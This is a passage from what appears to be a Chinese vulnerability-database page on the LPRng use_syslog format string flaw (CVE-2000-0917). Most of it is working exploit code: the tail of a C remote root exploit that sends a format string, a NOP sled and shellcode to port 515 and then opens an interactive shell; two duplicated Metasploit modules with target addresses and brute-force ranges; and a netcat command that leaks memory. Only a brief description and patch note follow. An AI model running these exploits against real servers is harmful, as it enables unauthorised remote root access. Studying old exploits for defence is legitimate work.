    pas1 = check_negative(pas1);

    pas2 = thrl - forl;
    pas2 = check_negative(pas2);

    pas3 = secl - thrl;
    pas3 = check_negative(pas3);

    pas4 = firl - secl;
    pas4 = check_negative(pas4);

    sprintf(temp,"%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n",pas1,fsc, pas2, fsc+1, pas3, fsc+2,pas4, fsc+3);
    strcat(yahoo,temp);

    printf("adding nops..\n");
    b = strlen(yahoo);
    for (i=0 ; i < (512-b-strlen(shellcode)) ; i++)
        yahoo[b+i] = '\x90';

    printf("adding shellcode..\n");
    b=+i;
    for (x=0 ; x < b ; x++)
        yahoo[b+x] = shellcode[x];

    strcat(yahoo,"\n");

    printf("all is prepared.. now lets connect to something..\n");

}

check_negative(unsigned long addr)
{
    char he[128];

    sprintf(he,"%d",addr);
    if (atoi(he) < 0)
        addr = addr + 256;
    return addr;
}

void mk_connect(char victim[128], int port)
{
    struct hostent *host;
    struct sockaddr_in den0n;
    int sox;

    den0n.sin_family = AF_INET;
    den0n.sin_port = htons(port);

    host = gethostbyname(victim);
    if (!host)
    {
        printf("cannot resolve, exiting...\n");
        exit(0);
    }

    bcopy(host->h_addr, (struct in_addr *)&den0n.sin_addr, host->h_length);

    sox = socket(AF_INET, SOCK_STREAM, 0);

    signal(SIGALRM, sigalarm);
    alarm(10);

    printf("connecting to %s to port %d\n",host->h_name, port);
    if (connect(sox, (struct sockaddr *)&den0n, sizeof(struct sockaddr)) < 0)
    {
        putchar('\n');
        perror("connect");
        exit(1);
    }
    printf("connected!, sending the buffer...\n\n");
    write(sox, yahoo , strlen(yahoo));
    printf("%s\n", yahoo);
    sleep(1);
    alarm(0);
    runshell(sox);
}

int runshell(int sox)
{
    fd_set  rset;
    int     n;
    char    buffer[4096];

    char *command="/bin/uname -a ; /usr/bin/id\n";


    send(sox, command, strlen(command), 0);

    for (;;) {
        FD_ZERO (&rset);
        FD_SET (sox, &rset);
        FD_SET (STDIN_FILENO, &rset);

        n = select(sox + 1, &rset, NULL, NULL, NULL);
        if(n <= 0)
            return (-1);

        if(FD_ISSET (sox, &rset)) {
            n = recv (sox, buffer, sizeof (buffer), 0);
            if (n <= 0)
                break;

            write (STDOUT_FILENO, buffer, n);
        }

        if(FD_ISSET (STDIN_FILENO, &rset)) {
            n = read (STDIN_FILENO, buffer, sizeof (buffer));
            if (n <= 0)
                break;

            send(sox, buffer, n, 0);
        }
    }
    return (0);
}

void sigalarm()
{
    printf("connection timed out, exiting...\n");
    exit(0);
}

void sigint()
{
    printf("CAUGHT sigint, exiting...\n");
    exit(0);
}


void usage(char *prog)
{
    int i;

    printf("\n** LPRng remote root exploit coded by venomous of rdC **\n");
    printf("Usage:\n\n");
    printf("%s [-h hostname] <-p port> <-r addr> <-s shellcodeaddr> <-t type> <-P padding> <-R offset> <-S offset> <-c offset>\n\n", prog);
    printf("-h is the victim ip/host\n");
    printf("-p select a different port to connect, default 515\n");
    printf("-r is the address to overwrite\n");
    printf("-s is the address of the shellcode\n");
    printf("You can use a predefined addr/shellcodeaddr using -t <number>\n\n");
    printf("availables types:\n\n");
    for (i=0 ; target[i].desc != NULL ; i++)
        printf("%d - %s\n",i,target[i].desc);
    printf("\n-P is to define the padding to use, usually 2\n");
    printf("-R the offset to add to <addr>\n");
    printf("-S the offset to add to <shellcodeaddr>\n");
    printf("-c where we start to control the format string\n\n");
    exit(0);
}


// milw0rm.com [2000-12-15]
		

- 漏洞信息 (16842)

LPRng use_syslog Remote Format String Vulnerability (EDBID:16842)
linux remote
2010-07-03 Verified
0 metasploit
N/A [点击下载]
##
# $Id: lprng_format_string.rb 9666 2010-07-03 01:09:32Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Brute
	include Msf::Exploit::FormatString

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'LPRng use_syslog Remote Format String Vulnerability',
			'Description'    => %q{
					This module exploits a format string vulnerability in the LPRng print server.
				This vulnerability was discovered by Chris Evans. There was a publicly
				circulating worm targeting this vulnerability, which prompted RedHat to pull
				their 7.0 release. They consequently re-released it as "7.0-respin".
			},
			'Author'         => [ 'jduck' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9666 $',
			'References'     =>
				[
					[ 'CVE', '2000-0917' ],
					[ 'OSVDB', '421' ],
					[ 'BID', '1712' ],
					[ 'US-CERT-VU', '382365' ],
					[ 'URL', 'http://www.cert.org/advisories/CA-2000-22.html' ],
					[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=17756' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/226' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/227' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/230' ]
				],
			'Platform'       => 'linux',
			'Arch'           => ARCH_X86,
			'Privileged'     => true, # root
			'DefaultOptions' =>
				{
					'PrependSetresuid' => true
				},
			'Payload'        =>
				{
					'Space'    => 130, # buffer size on caldera is 180! (need ~50 for fmt)
					'BadChars' => "\x00\x0a\x20\x25",
				},
			'Targets'        =>
				[
					# tested OK - jjd
					[ 'Caldera OpenLinux 2.3 Bruteforce',
						{
							'Platform'   => 'linux',
							'NumPops'    => 243,
							'FlowHook'   => 0x80992d4,  # GOT of exit
							# (0x809c180+(41+4+10+48)) - data segment, but gets corrupted
							'Bruteforce' =>
								{
									'Start' => { 'Ret' => 0xcffffff4 },
									'Stop'  => { 'Ret' => 0x7fffe004 },
									'Step'  => 16
								}
						}
					],
=begin
					# untested (from public exploits)
					[ 'Slackware 7.0 LPRng-3.6.22.tgz - started from shell',
						{
							'NumPops' 	=> 299,
							'Ret' 	   => 0xbffff640,
							'FlowHook'	=> 0xbfffee30
						}
					],
					[ 'RedHat 7.0 (Guinness) with LPRng-3.6.22/23/24-1 from rpm - glibc-2.2-5',
						{
							'NumPops' 	=> 304,
							'Ret' 	   => 0xbffff920,
							'FlowHook'	=> 0xbffff0f0
						}
					],
					[ 'RedHat 7.0 - Guinesss',
						{
							'NumPops' 	=> 300,
							'Ret' 	   => 0x41424344,
							'FlowHook'	=> 0xbffff3ec
						}
					],
					[ 'RedHat 7.0 - Guinesss-dev',
						{
							'NumPops' 	=> 300,
							'Ret' 	   => 0x41424344,
							'FlowHook'	=> 0xbffff12c
						}
					],
=end
					# ...
					[ 'Debug',
						{
							'NumPops' 	=> 1, # sure to miss.
							'Ret' 	   => 0x41424344,
							'FlowHook'	=> 0x45464748
						}
					]
				],
			# 'DefaultTarget' => 0,
			'DisclosureDate' => 'Sep 25 2000'))

		register_options( [ Opt::RPORT(515) ], self.class )
	end


	def exploit
		# we want to use DPA for this one :)
		fmtstr_set_caps(false, true)

		# check syslog to see which number hits 41414141
=begin
		400.times { |x|
			connect
			buf = "aAAAABBBB|%%%u$x|%u\n" % [x+1, x+1]
			sock.put(buf)
			#handler
			disconnect
		}
=end
		print_status("Trying target #{target.name} ..")

		super
	end


	def brute_exploit(addrs)

		#print_status("Trying target #{target.name} - addr 0x%x..." % addrs['Ret'])

		printed = "Service_connection: bad request line '\\35" # + "'XXXYYYYZZZZ...
		num_start = printed.length + 2 + 4

		# write 'ret' addr to flowhook (execute shellcode)
		# NOTE: the resulting two writes must be done at the same time

		# characters (chr(10) > X > chr(99)) will screw up alignment (\XXX in syslog)
		fmtbuf = "_" * 4
		fmtbuf << generate_fmt_two_shorts(num_start, target['FlowHook'], addrs['Ret'])
		#print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")

		# append payload and newline
		#fmtbuf << payload.encoded
		fmtbuf << "\x90" * 32
		fmtbuf << Rex::Text.charset_exclude(payload_badchars)
		fmtbuf << "\n"

		print_status(" writing 0x%x to 0x%x" % [addrs['Ret'], target['FlowHook']])

		connect
		#print_status("Sleeping, attach now!!")
		#select(nil,nil,nil,5)

		sock.put(fmtbuf)

		handler
		disconnect

	end

end


=begin

HRM!

The following causes info leakage!

bash$ ( ruby -e 'puts "\x09" + ("%x" * 50) + "\n"'; cat) | nc 192.168.0.120 515 | hexdump -vC

There are various other ways to trigger the vulnerability. LPD uses the single-byte commands
0x01 -> 0x09...

It's unclear if there is a way to auto-detect the lpd version via LPD commands.

=end
		

- 漏洞信息 (F86422)

LPRng use_syslog Remote Format String Vulnerability (PacketStormID:F86422)
2010-02-17 00:00:00
jduck  metasploit.com
exploit,worm
linux,redhat
CVE-2000-0917
[点击下载]

This Metasploit module exploits a format string vulnerability in the LPRng print server. This vulnerability was discovered by Chris Evans. There was a publicly circulating worm targeting this vulnerability, which prompted RedHat to pull their 7.0 release. They consequently re-released it as "7.0-respin".

##
# $Id: lprng_format_string.rb 8530 2010-02-17 00:56:28Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Brute
	include Msf::Exploit::FormatString

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'LPRng use_syslog Remote Format String Vulnerability',
			'Description'    => %q{
					This module exploits a format string vulnerability in the LPRng print server.
				This vulnerability was discovered by Chris Evans. There was a publicly
				circulating worm targeting this vulnerability, which prompted RedHat to pull
				their 7.0 release. They consequently re-released it as "7.0-respin".
			},
			'Author'         => [ 'jduck' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 8530 $',
			'References'     =>
				[
					[ 'CVE', '2000-0917' ],
					[ 'OSVDB', '421' ],
					[ 'BID', '1712' ],
					[ 'URL', 'http://www.cert.org/advisories/CA-2000-22.html' ],
					[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=17756' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/226' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/227' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/230' ]
				],
			'Platform'       => 'linux',
			'Arch'           => ARCH_X86,
			'Privileged'     => true, # root
			'DefaultOptions' =>
				{
					'PrependSetresuid' => true
				},
			'Payload'        =>
				{
					'Space'    => 130, # buffer size on caldera is 180! (need ~50 for fmt)
					'BadChars' => "\x00\x0a\x20\x25",
				},
			'Targets'        =>
				[
					# tested OK - jjd
					[ 'Caldera OpenLinux 2.3 Bruteforce',
						{
							'Platform'   => 'linux',
							'NumPops'    => 243,
							'FlowHook'   => 0x80992d4,  # GOT of exit
							# (0x809c180+(41+4+10+48)) - data segment, but gets corrupted
							'Bruteforce' =>
								{
									'Start' => { 'Ret' => 0xcffffff4 },
									'Stop'  => { 'Ret' => 0x7fffe004 },
									'Step'  => 16
								}
						}
					],
=begin
					# untested (from public exploits)
					[ 'Slackware 7.0 LPRng-3.6.22.tgz - started from shell',
						{
							'NumPops' 	=> 299,
							'Ret' 	   => 0xbffff640,
							'FlowHook'	=> 0xbfffee30
						}
					],
					[ 'RedHat 7.0 (Guinness) with LPRng-3.6.22/23/24-1 from rpm - glibc-2.2-5',
						{
							'NumPops' 	=> 304,
							'Ret' 	   => 0xbffff920,
							'FlowHook'	=> 0xbffff0f0
						}
					],
					[ 'RedHat 7.0 - Guinesss',
						{
							'NumPops' 	=> 300,
							'Ret' 	   => 0x41424344,
							'FlowHook'	=> 0xbffff3ec
						}
					],
					[ 'RedHat 7.0 - Guinesss-dev',
						{
							'NumPops' 	=> 300,
							'Ret' 	   => 0x41424344,
							'FlowHook'	=> 0xbffff12c
						}
					],
=end
					# ...
					[ 'Debug',
						{
							'NumPops' 	=> 1, # sure to miss.
							'Ret' 	   => 0x41424344,
							'FlowHook'	=> 0x45464748
						}
					]
				],
			# 'DefaultTarget' => 0,
			'DisclosureDate' => 'Sep 25 2000'))

		register_options( [ Opt::RPORT(515) ], self.class )
	end


	def exploit
		# we want to use DPA for this one :)
		fmtstr_set_caps(false, true)

		# check syslog to see which number hits 41414141
=begin
		400.times { |x|
			connect
			buf = "aAAAABBBB|%%%u$x|%u\n" % [x+1, x+1]
			sock.put(buf)
			#handler
			disconnect
		}
=end
		print_status("Trying target #{target.name} ..")
		
		super
	end


	def brute_exploit(addrs)

		#print_status("Trying target #{target.name} - addr 0x%x..." % addrs['Ret'])

		printed = "Service_connection: bad request line '\\35" # + "'XXXYYYYZZZZ...
		num_start = printed.length + 2 + 4

		# write 'ret' addr to flowhook (execute shellcode)
		# NOTE: the resulting two writes must be done at the same time

		# characters (chr(10) > X > chr(99)) will screw up alignment (\XXX in syslog)
		fmtbuf = "_" * 4
		fmtbuf << generate_fmt_two_shorts(num_start, target['FlowHook'], addrs['Ret'])
		#print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")

		# append payload and newline
		#fmtbuf << payload.encoded
		fmtbuf << "\x90" * 32
		fmtbuf << Rex::Text.charset_exclude(payload_badchars)
		fmtbuf << "\n"

		print_status(" writing 0x%x to 0x%x" % [addrs['Ret'], target['FlowHook']])

		connect
		#print_status("Sleeping, attach now!!")
		#sleep(5)

		sock.put(fmtbuf)

		handler
		disconnect

	end

end


=begin

HRM!

The following causes info leakage!

bash$ ( ruby -e 'puts "\x09" + ("%x" * 50) + "\n"'; cat) | nc 192.168.0.120 515 | hexdump -vC

There are various other ways to trigger the vulnerability. LPD uses the single-byte commands
0x01 -> 0x09...

It's unclear if there is a way to auto-detect the lpd version via LPD commands.

=end
    

- 漏洞信息

421
LPRng use_syslog() Remote Format String
Remote / Network Access, Local / Remote, Context Dependent Input Manipulation
Loss of Integrity Patch / RCS, Upgrade
Exploit Public Vendor Verified

- 漏洞描述

LPRng is prone to a format string flaw. The use_syslog() function fails to properly sanitize user-supplied input. With a specially crafted request, a remote attacker can potentially cause arbitrary code execution.

- 时间线

2000-09-25 Unknow
Unknow Unknow

- 解决方案

The vendor has released a patch that fixes this issue. Please upgrade to the latest version of LPRng from http://www.lprng.com/.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站